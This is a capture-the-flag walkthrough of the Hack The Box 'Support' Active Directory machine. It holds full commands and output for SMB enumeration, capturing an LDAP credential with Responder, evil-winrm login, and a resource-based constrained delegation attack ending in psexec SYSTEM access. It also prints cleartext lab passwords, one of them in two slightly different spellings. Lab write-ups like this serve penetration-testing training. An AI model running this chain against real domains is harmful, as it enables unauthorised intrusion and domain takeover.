HackTheBox: Support Walkthrough

I’ll start by getting a custom .NET tool from an open SMB share. With some light .NET reversing, through dynamic analysis, I can get the credentials for an account from the binary. With those, I’ll enumerate LDAP and find a password in an info field on a shared account. That account has full privileges over the DC machine object, and I’ll abuse that to dump the administrator hash and get full access to the box.

Let’s start with the first things first, Run a nmap scan to see what ports are open and what services are running on the box.

Nmap scan report for 10.10.11.174
Host is up (0.21s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-07-13 11:31:50Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-07-13T11:32:04
|_  start_date: N/A
|_clock-skew: -1s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 116.95 seconds

This is a lot of surface area here to attack. To start, we now know the DC domain name “support.htb”. We can enumerate the DNS servers to confirm the system’s name.

dig @10.10.11.174 +short support.htb any 
10.10.11.174
dc.support.htb.
dc.support.htb. hostmaster.support.htb. 105 900 600 86400 3600

Our dig command confirms the server’s computer name is “dc,” and the domain name is “support.htb”.

Let’s update our /etc/hosts file with these DNS entries to make our work easier.

echo " 10.10.11.174  support.htb dc.support.htb" >> /etc/hosts

SMB file shares can be a great source for intel and even initial access. Let’s use the following command to enumerate the SMB file share for any anonymous shares that we can access.

smbclient -L ////10.10.11.174//
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        support-tools   Disk      support staff tools
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.11.174 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Well, this looks promising. We discovered a share named “support-tools”. Let’s connect to it and see if there is anything good. Connect to the share with the following command.

smbclient -N //10.10.11.174/support-tools 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jul 20 13:01:06 2022
  ..                                  D        0  Sat May 28 07:18:25 2022
  7-ZipPortable_21.07.paf.exe         A  2880728  Sat May 28 07:19:19 2022
  npp.8.4.1.portable.x64.zip          A  5439245  Sat May 28 07:19:55 2022
  putty.exe                           A  1273576  Sat May 28 07:20:06 2022
  SysinternalsSuite.zip               A 48102161  Sat May 28 07:19:31 2022
  UserInfo.exe.zip                    A   277499  Wed Jul 20 13:01:07 2022
  windirstat1_1_2_setup.exe           A    79171  Sat May 28 07:20:17 2022
  WiresharkPortable64_3.6.5.paf.exe      A 44398000  Sat May 28 07:19:43 2022

                4026367 blocks of size 4096. 958057 blocks available

Using the “dir” command, we can get a directory listing of the files stored on “support-tools”. Let’s download all the files so we can analyze them offline.

In the connected SMB session, run the following commands.

SMB:> mask ""
SMB:> recurse ON
SMB:> prompt OFF
SMB:> mget *

I’m going to use ILspy to decompile the executable. Once decompiled we can see that there are a number of functions. One of the functions is called LdapQuery which appears to be authenticating to the LDAP service on the host support.htb. We now know the name of the host (if we didn’t already from our other tools). We also know that this is somehow authenticating to the LDAP service. It also appears to be using the domain user ‘support\ldap’.

UserInfo.exe Decompiled

Within the Protected section we can see ‘enc_password’ which appears contains the encoded password. Unfortunately, we can’t just use this string to authenticate to the LDAP service as the application performs a decoding operation before sending the query to the server.

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";

I tried to crack the encoding but, I feel defeated. I do like the way IppSec solved this. In his video, he captures the traffic (generated by the executable) with Wireshark. That way you don’t have to decode it as you capture the password after it has been decoded and sent in the query to the server. I was able to replicate this approach after jumping some frustrating hurdles to get various things set up (Wine and Wine-Mono). Oddly, I wasn’t able to see DNS requests on the ‘any’ interface.

So we have the password, But I also used another approach to do this by the dynamic way.

Dynamic analysis

We can stand up a fake LDAP server and point support.htb to our server and get the credentials that way. But for this you can’t execute the UserInfo.exe in a recent window installation because this way you will get the NTML hash instead of the actual password due to security mitigation from windows.

Therefore, we have to use mono in linux to execute the it. First, we edit /etc/hosts and point support.htb to our IP. Then we have to start responder

sudo responder -A -v -I eth0

Then we can run the executable.

mono UserInfo.exe find -first administrator

[LDAP] Cleartext Username : support\ldap
[LDAP] Cleartext Password : nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

By this way as well, we can retrieve the password.

Moving forward with this credentials, I was able to access their LDAP service. So I used ldapdomaindump to dump the information from the server for me.

ldapdomaindump 'ldap://support.htb' -u 'support.htb\ldap' -p 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz'

This gave my some files to go through, looking at those, I found something in domain_users.json file. (If you prefer GUI workspace, you could use jxplorere instead).

cat domain_users.json

It seemed to look like a password. I was there was another on the box named support so I tried logging in with this password with evil-winrm and it worked.

evil-winrm -u support -p Ironside47pleasure40Watchful -i 10.10.11.174
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\support\Documents>

We are in! Now let’s more further to the privilege escalation part!

In order to collect more information on the AD environment and potential privilege escalation steps, we run SharpHound (https://github.com/BloodHoundAD/SharpHound) on the target.

Finally, we upload the output zip file into BloodHound for analysis.

Analysing the support user information, we discover that under “Group Delegated Object Control”, the support user is a member of the “Shared Support Accounts” domain group which has GenericAll privileges over the DC.

The members of the group SHARED SUPPORT ACCOUNTS@SUPPORT.HTB have GenericAll privileges to the computer DC.SUPPORT.HTB.

This is also known as full control. This privilege allows the trustee to manipulate the target object however they wish.

Steps to root the box.

Resource-Based Constrained Delegation

First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket’s addcomputer.py example script:

addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host 
$DomainController -domain-netbios $DOMAIN 'domain/user:password'

python3 addcomputer.py -computer-name 'evilcom$' -computer-pass password -dc-ip 10.10.11.174 support/support:Ironside47pleasure40Watchful
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[!] No DC host set and 'support' doesn't look like a FQDN. DNS resolution of short names will probably fail.
[*] Successfully added machine account evilcom$ with password password.

We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket’s rbcd.py script can be used for that purpose:

./rbcd.py -f EVILCOM -t DC -dc-ip 10.10.11.174 support\\support:Ironside47pleasure40Watchful
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Starting Resource Based Constrained Delegation Attack against DC$
[*] Initializing LDAP connection to 10.10.11.174
[*] Using support\support account with password ***
[*] LDAP bind OK
[*] Initializing domainDumper()
[*] Initializing LDAPAttack()
[*] Writing SECURITY_DESCRIPTOR related to (fake) computer `EVILCOM` into msDS-AllowedToActOnBehalfOfOtherIdentity of target computer `DC`
[*] Delegation rights modified succesfully!
[*] EVILCOM$ can now impersonate users on DC$ via S4U2Proxy

And finally we can get a service ticket for the service name (sname) we want to “pretend” to be “admin” for. Impacket’s

getST.py example script can be used for that purpose.

python3 getST.py -spn cifs/DC.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support/EVILCOM$:password
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

We update the KRB5CCNAME environment variable with the path to the Administrator.ccache file, and run the klist command to verify that the Service Ticket is loaded. We add the FQDN of the DC to the hosts file (/etc/hosts) and use impacket-psexec with Kerberos authentication to gain a SYSTEM shell on the target.

export KRB5CCNAME=`pwd`/Administrator.ccache

python3 psexec.py -k DC.support.htb
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on DC.support.htb.....
[*] Found writable share ADMIN$
[*] Uploading file cVDcHINP.exe
[*] Opening SVCManager on DC.support.htb.....
[*] Creating service REFp on DC.support.htb.....
[*] Starting service REFp.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.859]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>

With that, we have gained Domain Admin access to the domain controller of the support domain, and can find the root.txt file in the Administrator user’s Desktop folder.

Owned Support from Hack The Box!

Stay tuned for more :)